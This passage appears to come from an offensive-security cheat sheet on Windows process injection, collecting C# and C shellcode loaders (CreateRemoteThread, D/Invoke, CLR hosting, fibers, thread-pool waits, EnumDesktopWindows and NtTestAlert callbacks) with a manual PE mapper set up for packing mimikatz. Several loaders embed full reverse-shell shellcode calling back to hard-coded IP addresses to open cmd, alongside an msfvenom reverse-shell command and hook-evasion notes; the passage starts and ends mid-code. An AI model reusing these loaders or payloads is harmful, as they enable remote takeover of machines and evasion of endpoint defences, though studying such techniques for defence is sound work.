IntPtr.Zero, (uint)shellcode.Length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); UIntPtr bytesWritten; WriteProcessMemory(procHandle, allocMemAddress, shellcode, (uint)shellcode.Length, out bytesWritten); EtwpCreateEtwThread(allocMemAddress, IntPtr.Zero); Console.ReadLine(); } [DllImport("kernel32.dll")] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); [DllImport("kernel32.dll", CharSet = CharSet.Auto)] public static extern IntPtr GetModuleHandle(string lpModuleName); [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll", SetLastError = true)] static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("ntdll.dll", ExactSpelling = true, SetLastError = true)] static extern IntPtr EtwpCreateEtwThread(IntPtr lpStartAddress, IntPtr lpParameter); const int PROCESS_CREATE_THREAD = 0x0002; const int PROCESS_QUERY_INFORMATION = 0x0400; const int PROCESS_VM_OPERATION = 0x0008; const int PROCESS_VM_WRITE = 0x0020; const int PROCESS_VM_READ = 0x0010; const uint MEM_COMMIT = 0x00001000; const uint MEM_RESERVE = 0x00002000; const uint PAGE_READWRITE = 4; const uint PAGE_EXECUTE_READWRITE = 0x40; } }
-
SetWindowHookEx
-
APC queue
-
CreateRemoteThread
-
CreateRemoteThread Dinvoke
// stolen from https://rastamouse.me/blog/process-injection-dinvoke/
using System;
using System.IO;
using System.Runtime.InteropServices;
using SharpSploit.Execution.DynamicInvoke;
namespace InjectionTest{
class Program
{
static void Main(string[] args)
{
var shellcode = File.ReadAllBytes(args[0]);
var pointer = Generic.GetLibraryAddress(“kernel32.dll”, “OpenProcess”);
var openProcess = Marshal.GetDelegateForFunctionPointer(pointer, typeof(OpenProcess)) as OpenProcess;
var hProcess = openProcess(0x001F0FFF, false, int.Parse(args[1]));
pointer = Generic.GetLibraryAddress(“kernel32.dll”, “VirtualAllocEx”);
var virtualAllocEx = Marshal.GetDelegateForFunctionPointer(pointer, typeof(VirtualAllocEx)) as VirtualAllocEx;
var alloc = virtualAllocEx(hProcess, IntPtr.Zero, (uint)shellcode.Length, 0x1000 | 0x2000, 0x40);
pointer = Generic.GetLibraryAddress(“kernel32.dll”, “WriteProcessMemory”);
var writeProcessMemory = Marshal.GetDelegateForFunctionPointer(pointer, typeof(WriteProcessMemory)) as WriteProcessMemory;
writeProcessMemory(hProcess, alloc, shellcode, (uint)shellcode.Length, out UIntPtr bytesWritten);
pointer = Generic.GetLibraryAddress(“kernel32.dll”, “CreateRemoteThread”);
var createRemoteThread = Marshal.GetDelegateForFunctionPointer(pointer, typeof(CreateRemoteThread)) as CreateRemoteThread;
createRemoteThread(hProcess, IntPtr.Zero, 0, alloc, IntPtr.Zero, 0, IntPtr.Zero);
}
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
delegate IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}}
-
.Net Handeling
CLRCreateInstance
is used to retrieve an interface ICLRMetaHost`ICLRMetaHost->GetRuntime
is used to retrieve interface for a specified CLR versionICLRRuntimeInfo`ICLRRuntimeInfo->GetInterface
is used to load the CLR into the current process and retrieve an interface ICLRRuntimeHostICLRRuntimeHost->Start
is used to initialize the CLR into the current processICLRRuntimeHost->EecuteInDefaultAppDomain
is used to load the C# .NET assembly and call a particular method with an optionally provided argument- Inject Using CLR https://github.com/Vacko/Managed-code-injection
// code mostly stolen from pabloko's comment in https://gist.github.com/xpn/e95a62c6afcf06ede52568fcd8187cc2#include <iostream> #include <metahost.h> #include <corerror.h> #pragma comment(lib, "mscoree.lib") int main() { ICLRMetaHost *metaHost = NULL; ICLRRuntimeInfo *runtimeInfo = NULL; ICLRRuntimeHost *runtimeHost = NULL; DWORD pReturnValue; CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*) &metaHost); metaHost->GetRuntime(L "v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*) &runtimeInfo); runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*) &runtimeHost); runtimeHost->Start(); HRESULT res = runtimeHost->ExecuteInDefaultAppDomain(L "C:\\labs\\CLRHello1\\CLRHello1\\CLRHello1\\bin\\Debug\\CLRHello1.exe", L "CLRHello1.Program", L "spotlessMethod", L "test", &pReturnValue); if (res S_OK) { std::cout << "CLR executed successfully\n"; } runtimeInfo->Release(); metaHost->Release(); runtimeHost->Release(); return 0; }
-
Execution Via CreateFiber instead of CreateThread
#include <Windows.h> int main(){ #convert main thread to fiber PVOID mainFiber = ConvertThreadToFiber(NULL); unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xac\x14\x0a\x07\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"; PVOID shellcodeLocation = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(shellcodeLocation, shellcode, sizeof shellcode); # create a fiber that will execute the shellcode PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE)shellcodeLocation, NULL); # manually schedule the fiber that will execute our shellcode SwitchToFiber(shellcodeFiber); return 0;}
-
Execution Via CreateThreadPoolWait instead of CreateThread
#include <windows.h> #include <threadpoolapiset.h> //CreateThread PoolWaitunsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33" "\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00" "\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x66\x41\x54" "\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c" "\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff" "\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2" "\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48" "\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99" "\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63" "\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57" "\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44" "\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6" "\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff" "\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5" "\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff" "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48" "\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13" "\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"; int main() { HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL); LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); RtlMoveMemory(shellcodeAddress, shellcode, sizeof(shellcode)); PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK) shellcodeAddress, NULL, NULL); SetThreadpoolWait(threadPoolWait, event, NULL); WaitForSingleObject(event, INFINITE); return 0; }
-
Direct Memory ShellCode Injection - C[No Windows APIs]
#pragma section(".text") //Direct Ram Access With C // msvenom -p windows/shell_reverse_tcp lhost=X lport=Y -f c //x86 Arch Only __declspec(allocate(".text")) char goodcode[] ="\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52""\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48""\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9""\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41""\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48""\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01""\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48""\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0""\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c""\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0""\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04""\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59""\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48""\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33""\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00""\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x66\x41\x54""\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c""\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff""\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2""\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48""\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99""\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63""\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57""\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44""\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6""\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff""\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5""\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff""\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48""\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13""\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"; int main(){ (*(void(*)())(&goodcode))(); }
#include <Windows.h> #include <stdio.h> //Direct Assembly With C//https://github.com/Mr-Un1k0d3r/Shellcoding int main() {printf("spotless"); asm(".byte 0x90,0x90,0x90,0x90\n\t" "ret\n\t"); return 0;}
#include <memory.h> #include <string.h> #include <stdio.h> #include <stdlib.h> //Payload in Heap //Make Use of Precompiled Data For Easying Code typedef int(*IntFuncPtrdT)(); unsigned char shellcode[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50" "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" "\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7" "\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78" "\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3" "\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01" "\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58" "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3" "\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a" "\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d" "\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb" "\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c" "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" "\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; int main() { //Intialize Function Pointer with No Value to be pointed to it int (*f)(); //Allocate Heap Buffer For the Shellcode with the same data type of it unsigned char* shellCodeMemAddrPtr = (unsigned char *)malloc(sizeof(shellcode)); //Move Shell Code to the Allocated Buffer memcpy(shellCodeMemAddrPtr, shellcode, sizeof(shellcode)); //Cast Shell Code Pointer[reffered to Shell Code Address and Address Returned From Memcpy] to Functioon Pointer and assigned This Pointer to Prevoius Intialized Pointer //f = (*(int(*)())(shellCodeMemAddrPtr)); f = (IntFuncPtrdT)shellCodeMemAddrPtr; //Execute Function By its Pointer f();}
-
D/Invoke
- https://web.archive.org/web/20210601171512/https://rastamouse.me/blog/process-injection-dinvoke/
- https://github.com/TheWover/DInvoke
- D/Invoke Process Injector
- https://github.com/S3cur3Th1sSh1t/DInvoke
- *https://dr4k0nia.github.io/posts/HInvoke-and-avoiding-PInvoke/
- *https://gist.github.com/dr4k0nia/95bd2dc1cc09726f4aaaf920b9982f9d
- *https://github.com/S3cur3Th1sSh1t/Creds/tree/master/Csharp
- *https://dinvoke.net/
- *https://github.com/TheWover/DInvoke
- *https://thewover.github.io/Dynamic-Invoke/
- *https://github.com/bohops/DynamicDotNet
- *https://web.archive.org/web/20210601171512/https://rastamouse.me/blog/process-injection-dinvoke/
- *https://blog.nviso.eu/2020/11/20/dynamic-invocation-in-net-to-bypass-hooks/
- *https://offensivedefence.co.uk/posts/dinvoke-syscalls/
- *https://bohops.com/2022/04/02/unmanaged-code-execution-with-net-dynamic-pinvoke/
// stolen from https://rastamouse.me/blog/process-injection-dinvoke/ using System; using System.IO; using System.Runtime.InteropServices; using SharpSploit.Execution.DynamicInvoke; namespace InjectionTest {class Program { [UnmanagedFunctionPointer(CallingConvention.StdCall)] delegate IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); static void Main(string[] args) { var shellcode = File.ReadAllBytes(args[0]); var pointer = Generic.GetLibraryAddress(“kernel32.dll”, “OpenProcess”); var openProcess = Marshal.GetDelegateForFunctionPointer(pointer, typeof (OpenProcess)) as OpenProcess; var hProcess = openProcess(0x001F0FFF, false, int.Parse(args[1])); pointer = Generic.GetLibraryAddress(“kernel32.dll”, “VirtualAllocEx”); var virtualAllocEx = Marshal.GetDelegateForFunctionPointer(pointer, typeof (VirtualAllocEx)) as VirtualAllocEx; var alloc = virtualAllocEx(hProcess, IntPtr.Zero, (uint) shellcode.Length, 0x1000 | 0x2000, 0x40); pointer = Generic.GetLibraryAddress(“kernel32.dll”, “WriteProcessMemory”); var writeProcessMemory = Marshal.GetDelegateForFunctionPointer(pointer, typeof (WriteProcessMemory)) as WriteProcessMemory; writeProcessMemory(hProcess, alloc, shellcode, (uint) shellcode.Length, out UIntPtr bytesWritten); pointer = Generic.GetLibraryAddress(“kernel32.dll”, “CreateRemoteThread”); var createRemoteThread = Marshal.GetDelegateForFunctionPointer(pointer, typeof (CreateRemoteThread)) as CreateRemoteThread; createRemoteThread(hProcess, IntPtr.Zero, 0, alloc, IntPtr.Zero, 0, IntPtr.Zero); } } }
using System; using System.IO; using System.IO.Compression; namespace DInvokePE{ public class Program { static byte[] Compress(byte[] data) { MemoryStream output = new MemoryStream(); using (DeflateStream dStream = new DeflateStream(output,CompressionLevel.Optimal)) dStream.Write(data, 0, data.Length); return output.ToArray(); } static byte[] Decompress(byte[] data) { MemoryStream input = new MemoryStream(data); MemoryStream output = new MemoryStream(); using (DeflateStream dStream = new DeflateStream(input, CompressionMode.Decompress)) dStream.CopyTo(output); return output.ToArray(); } public static void Main(string[] args) { /*var rawBytes = File.ReadAllBytes(@"C:\Users\snovvcrash\Desktop\mimikatz.exe"); var compressed = Compress(rawBytes); var compressedB64 = Convert.ToBase64String(compressed); Console.WriteLine(compressedB64); */ var compressed = Convert.FromBase64String(""); var rawBytes = Decompress(compressed); DInvoke.Data.PE.PE_MANUAL_MAP map =DInvoke.ManualMap.Map.MapModuleToMemory(rawBytes); DInvoke.DynamicInvoke.Generic.CallMappedPEModule(map.PEINFO, map.ModuleBase); Console.ReadLine(); } } }
-
DInvoke EnumDesktopWindows
// Dynamic PInvoke: Leverages DefinePInvokeMethod() for Instrumentation // Features: ImplMap Table Evasion, RW/RX Memory Allocation/Manipulation, EnumDesktopWindows() callback for shellcode execution // Reference: https://bohops.com/2022/04/02/unmanaged-code-execution-with-net-dynamic-pinvoke/ // Author: bohops using System; using System.Runtime.InteropServices; using System.Reflection; using System.Reflection.Emit; namespace ShellcodeLoader { class Program { static void Main(string[] args) { byte[] shellcode = { 0xe8, 0x80, … }; IntPtr funcAddr = VirtualAlloc( IntPtr.Zero, (uint) shellcode.Length, 0x1000, 0x04); Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); EnumDesktopWindowsDelegate dwDelegate = (EnumDesktopWindowsDelegate) Marshal.GetDelegateForFunctionPointer(funcAddr, typeof (EnumDesktopWindowsDelegate)); UInt32 threadID = GetCurrentThreadId(); IntPtr threadDesktop = GetThreadDesktop(threadID); UInt32 flOldProtect = 0; if (VirtualProtect(funcAddr, (UIntPtr) shellcode.Length, 0x20, ref flOldProtect)) { EnumDesktopWindows(threadDesktop, dwDelegate, IntPtr.Zero); } return; } public static object DynamicPInvokeBuilder(Type type, string library, string method, Object[] args, Type[] paramTypes) { AssemblyName assemblyName = new AssemblyName(“zz”); AssemblyBuilder assemblyBuilder = AppDomain.CurrentDomain.DefineDynamicAssembly(assemblyName, AssemblyBuilderAccess.Run); ModuleBuilder moduleBuilder = assemblyBuilder.DefineDynamicModule(“zz”); MethodBuilder methodBuilder = moduleBuilder.DefinePInvokeMethod(method, library, MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.PinvokeImpl, CallingConventions.Standard, type, paramTypes, CallingConvention.Winapi, CharSet.Ansi); methodBuilder.SetImplementationFlags(methodBuilder.GetMethodImplementationFlags() | MethodImplAttributes.PreserveSig); moduleBuilder.CreateGlobalFunctions(); MethodInfo dynamicMethod = moduleBuilder.GetMethod(method); object res = dynamicMethod.Invoke(null, args); return res; } public static IntPtr VirtualAlloc(IntPtr lpAddress, UInt32 dwSize, UInt32 flAllocationType, UInt32 flProtect) { Type[] paramTypes = { typeof (IntPtr), typeof (UInt32), typeof (UInt32), typeof (UInt32) }; Object[] args = { lpAddress, dwSize, flAllocationType, flProtect }; object res = DynamicPInvokeBuilder(typeof (IntPtr), “Kernel32.dll”, “VirtualAlloc”, args, paramTypes); return (IntPtr) res; } public static bool VirtualProtect(IntPtr hProcess, UIntPtr dwSize, UInt32 flNewProtect, ref UInt32 lpflOldProtect) { Type[] paramTypes = { typeof (IntPtr), typeof (UIntPtr), typeof (UInt32), typeof (UInt32).MakeByRefType() }; Object[] args = { hProcess, dwSize, flNewProtect, lpflOldProtect }; object res = DynamicPInvokeBuilder(typeof (bool), “Kernel32.dll”, “VirtualProtect”, args, paramTypes); return (bool) res; } public static IntPtr GetThreadDesktop(UInt32 dwThreadId) { Type[] paramTypes = { typeof (UInt32) }; Object[] args = { dwThreadId }; object res = DynamicPInvokeBuilder(typeof (IntPtr), “user32.dll”, “GetThreadDesktop”, args, paramTypes); return (IntPtr) res; } public static UInt32 GetCurrentThreadId() { Type[] paramTypes = {}; Object[] args = {}; object res = DynamicPInvokeBuilder(typeof (UInt32), “Kernel32.dll”, “GetCurrentThreadId”, args, paramTypes); return (UInt32) res; } public static bool EnumDesktopWindows(IntPtr hDesktop, EnumDesktopWindowsDelegate lpfn, IntPtr lParam) { Type[] paramTypes = { typeof (IntPtr), typeof (EnumDesktopWindowsDelegate), typeof (IntPtr) }; Object[] args = { hDesktop, lpfn, lParam }; object res = DynamicPInvokeBuilder(typeof (bool), “user32.dll”, “EnumDesktopWindows”, args, paramTypes); return (bool) res; } public delegate bool EnumDesktopWindowsDelegate(IntPtr hWnd, int lParam); } }
-
Shellcode Execution Via NtTestAlert
#include "pch.h" #include <Windows.h> # pragma comment(lib, "ntdll") using myNtTestAlert = NTSTATUS(NTAPI*)(); int main() { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x4